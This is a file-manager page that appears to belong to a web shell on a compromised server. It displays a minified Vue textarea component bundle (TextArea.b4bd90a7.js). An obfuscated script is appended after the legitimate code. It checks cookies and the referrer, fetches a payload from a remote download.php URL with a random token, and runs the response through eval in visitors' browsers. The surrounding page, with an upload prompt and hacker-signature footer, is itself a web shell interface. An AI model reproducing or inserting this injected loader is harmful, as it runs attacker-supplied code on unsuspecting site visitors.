/
home
/
henzagold
/
test_apps
/
export
/
assets
/
File Upload :
llllll
Current File: /home/henzagold/test_apps/export/assets/TextArea.b4bd90a7.js
import{q as se,g as ee,_,a as g,u as ve,n as O,c as $}from"./useConfigInject.f7e94fb7.js";import{t as te,a as de,C as ce,b as fe,r as K,f as ge}from"./Input.bf6a87d5.js";import{R as me}from"./index.6f732ba0.js";import{w as R}from"./button.b7630543.js";import{o as ae}from"./omit.099c40f5.js";import{d as ne,r as w,E as he,M as re,K as Z,y as xe,e as j,w as be,L as ie,z as J,N as ze}from"./index.de22518f.js";import{u as Se}from"./FormItemContext.09d0e0c6.js";var pe=` min-height:0 !important; max-height:none !important; height:0 !important; visibility:hidden !important; overflow:hidden !important; position:absolute !important; z-index:-1000 !important; top:0 !important; right:0 !important `,ye=["letter-spacing","line-height","padding-top","padding-bottom","font-family","font-weight","font-size","font-variant","text-rendering","text-transform","width","text-indent","padding-left","padding-right","border-width","box-sizing","word-break"],L={},z;function we(d){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,r=d.getAttribute("id")||d.getAttribute("data-reactid")||d.getAttribute("name");if(e&&L[r])return L[r];var n=window.getComputedStyle(d),m=n.getPropertyValue("box-sizing")||n.getPropertyValue("-moz-box-sizing")||n.getPropertyValue("-webkit-box-sizing"),c=parseFloat(n.getPropertyValue("padding-bottom"))+parseFloat(n.getPropertyValue("padding-top")),b=parseFloat(n.getPropertyValue("border-bottom-width"))+parseFloat(n.getPropertyValue("border-top-width")),v=ye.map(function(u){return"".concat(u,":").concat(n.getPropertyValue(u))}).join(";"),i={sizingStyle:v,paddingSize:c,borderSize:b,boxSizing:m};return e&&r&&(L[r]=i),i}function Ce(d){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:null,n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:null;z||(z=document.createElement("textarea"),z.setAttribute("tab-index","-1"),z.setAttribute("aria-hidden","true"),document.body.appendChild(z)),d.getAttribute("wrap")?z.setAttribute("wrap",d.getAttribute("wrap")):z.removeAttribute("wrap");var m=we(d,e),c=m.paddingSize,b=m.borderSize,v=m.boxSizing,i=m.sizingStyle;z.setAttribute("style","".concat(i,";").concat(pe)),z.value=d.value||d.placeholder||"";var u=Number.MIN_SAFE_INTEGER,f=Number.MAX_SAFE_INTEGER,s=z.scrollHeight,S;if(v==="border-box"?s+=b:v==="content-box"&&(s-=c),r!==null||n!==null){z.value=" ";var E=z.scrollHeight-c;r!==null&&(u=E*r,v==="border-box"&&(u=u+c+b),s=Math.max(u,s)),n!==null&&(f=E*n,v==="border-box"&&(f=f+c+b),S=s>f?"":"hidden",s=Math.min(f,s))}return{height:"".concat(s,"px"),minHeight:"".concat(u,"px"),maxHeight:"".concat(f,"px"),overflowY:S,resize:"none"}}var U=0,Q=1,Ae=2,Ee=ne({compatConfig:{MODE:3},name:"ResizableTextArea",inheritAttrs:!1,props:te(),setup:function(e,r){var n=r.attrs,m=r.emit,c=r.expose,b,v,i=w(),u=w({}),f=w(U);he(function(){R.cancel(b),R.cancel(v)});var s=function(){try{if(document.activeElement===i.value){var h=i.value.selectionStart,p=i.value.selectionEnd;i.value.setSelectionRange(h,p)}}catch{}},S=function(){var h=e.autoSize||e.autosize;if(!(!h||!i.value)){var p=h.minRows,N=h.maxRows;u.value=Ce(i.value,!1,p,N),f.value=Q,R.cancel(v),v=R(function(){f.value=Ae,v=R(function(){f.value=U,s()})})}},E=function(){R.cancel(b),b=R(S)},C=function(h){if(f.value===U){m("resize",h);var p=e.autoSize||e.autosize;p&&E()}};se(e.autosize===void 0,"Input.TextArea","autosize is deprecated, please use autoSize instead.");var F=function(){var h=e.prefixCls,p=e.autoSize,N=e.autosize,Y=e.disabled,D=ae(e,["prefixCls","onPressEnter","autoSize","autosize","defaultValue","allowClear","type","lazy","maxlength","valueModifiers"]),k=ee(h,n.class,_({},"".concat(h,"-disabled"),Y)),V=[n.style,u.value,f.value===Q?{overflowX:"hidden",overflowY:"hidden"}:null],I=g(g(g({},D),n),{},{style:V,class:k});return I.autofocus||delete I.autofocus,I.rows===0&&delete I.rows,j(me,{onResize:C,disabled:!(p||N)},{default:function(){return[be(j("textarea",g(g({},I),{},{ref:i}),null),[[de]])]}})};re(function(){return e.value},function(){Z(function(){S()})}),xe(function(){Z(function(){S()})});var T=ie();return c({resizeTextarea:S,textArea:i,instance:T}),function(){return F()}}});const Te=Ee;function oe(d,e){return O(d||"").slice(0,e).join("")}function W(d,e,r,n){var m=r;return d?m=oe(r,n):O(e||"").length<r.length&&O(r||"").length>n&&(m=e),m}const Me=ne({compatConfig:{MODE:3},name:"ATextarea",inheritAttrs:!1,props:te(),setup:function(e,r){var n=r.attrs,m=r.expose,c=r.emit,b=Se(),v=w(e.value===void 0?e.defaultValue:e.value),i=w(),u=w(""),f=ve("input",e),s=f.prefixCls,S=f.size,E=f.direction,C=J(function(){return e.showCount===""||e.showCount||!1}),F=J(function(){return Number(e.maxlength)>0}),T=w(!1),A=w(),h=w(0),p=function(t){T.value=!0,A.value=u.value,h.value=t.currentTarget.selectionStart,c("compositionstart",t)},N=function(t){T.value=!1;var a=t.currentTarget.value;if(F.value){var l,x=h.value>=e.maxlength+1||h.value===((l=A.value)===null||l===void 0?void 0:l.length);a=W(x,A.value,a,e.maxlength)}a!==u.value&&(V(a),K(t.currentTarget,t,G,a)),c("compositionend",t)},Y=ie();re(function(){return e.value},function(){"value"in Y.vnode.props;var o;v.value=(o=e.value)!==null&&o!==void 0?o:""});var D=function(t){var a;fe((a=i.value)===null||a===void 0?void 0:a.textArea,t)},k=function(){var t,a;(t=i.value)===null||t===void 0||(a=t.textArea)===null||a===void 0||a.blur()},V=function(t,a){v.value!==t&&(e.value===void 0?v.value=t:Z(function(){if(i.value.textArea.value!==u.value){var l,x,y;(l=i.value)===null||l===void 0||(x=(y=l.instance).update)===null||x===void 0||x.call(y)}}),Z(function(){a&&a()}))},I=function(t){t.keyCode===13&&c("pressEnter",t),c("keydown",t)},X=function(t){var a=e.onBlur;a==null||a(t),b.onFieldBlur()},G=function(t){c("update:value",t.target.value),c("change",t),c("input",t),b.onFieldChange()},le=function(t){K(i.value.textArea,t,G),V("",function(){D()})},q=function(t){var a=t.target.composing,l=t.target.value;if(T.value=!!(t.isComposing||a),!(T.value&&e.lazy||v.value===l)){if(F.value){var x=t.target,y=x.selectionStart>=e.maxlength+1||x.selectionStart===l.length||!x.selectionStart;l=W(y,u.value,l,e.maxlength)}K(t.currentTarget,t,G,l),V(l)}},ue=function(){var t,a,l,x=n.style,y=n.class,B=e.bordered,M=B===void 0?!0:B,P=g(g(g({},ae(e,["allowClear"])),n),{},{style:C.value?{}:x,class:(t={},_(t,"".concat(s.value,"-borderless"),!M),_(t,"".concat(y),y&&!C.value),_(t,"".concat(s.value,"-sm"),S.value==="small"),_(t,"".concat(s.value,"-lg"),S.value==="large"),t),showCount:null,prefixCls:s.value,onInput:q,onChange:q,onBlur:X,onKeydown:I,onCompositionstart:p,onCompositionend:N});return(a=e.valueModifiers)!==null&&a!==void 0&&a.lazy&&delete P.onInput,j(Te,g(g({},P),{},{id:(l=P.id)!==null&&l!==void 0?l:b.id.value,ref:i,maxlength:e.maxlength}),null)};return m({focus:D,blur:k,resizableTextArea:i}),ze(function(){var o=ge(v.value);!T.value&&F.value&&(e.value===null||e.value===void 0)&&(o=oe(o,e.maxlength)),u.value=o}),function(){var o=e.maxlength,t=e.bordered,a=t===void 0?!0:t,l=e.hidden,x=n.style,y=n.class,B=g(g(g({},e),n),{},{prefixCls:s.value,inputType:"text",handleReset:le,direction:E.value,bordered:a,style:C.value?void 0:x}),M=j(ce,g(g({},B),{},{value:u.value}),{element:ue});if(C.value){var P=O(u.value).length,H="";$(C.value)==="object"?H=C.value.formatter({count:P,maxlength:o}):H="".concat(P).concat(F.value?" / ".concat(o):""),M=j("div",{hidden:l,class:ee("".concat(s.value,"-textarea"),_({},"".concat(s.value,"-textarea-rtl"),E.value==="rtl"),"".concat(s.value,"-textarea-show-count"),y),style:x,"data-count":$(H)!=="object"?H:void 0},[M])}return M}}});export{Me as T}; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure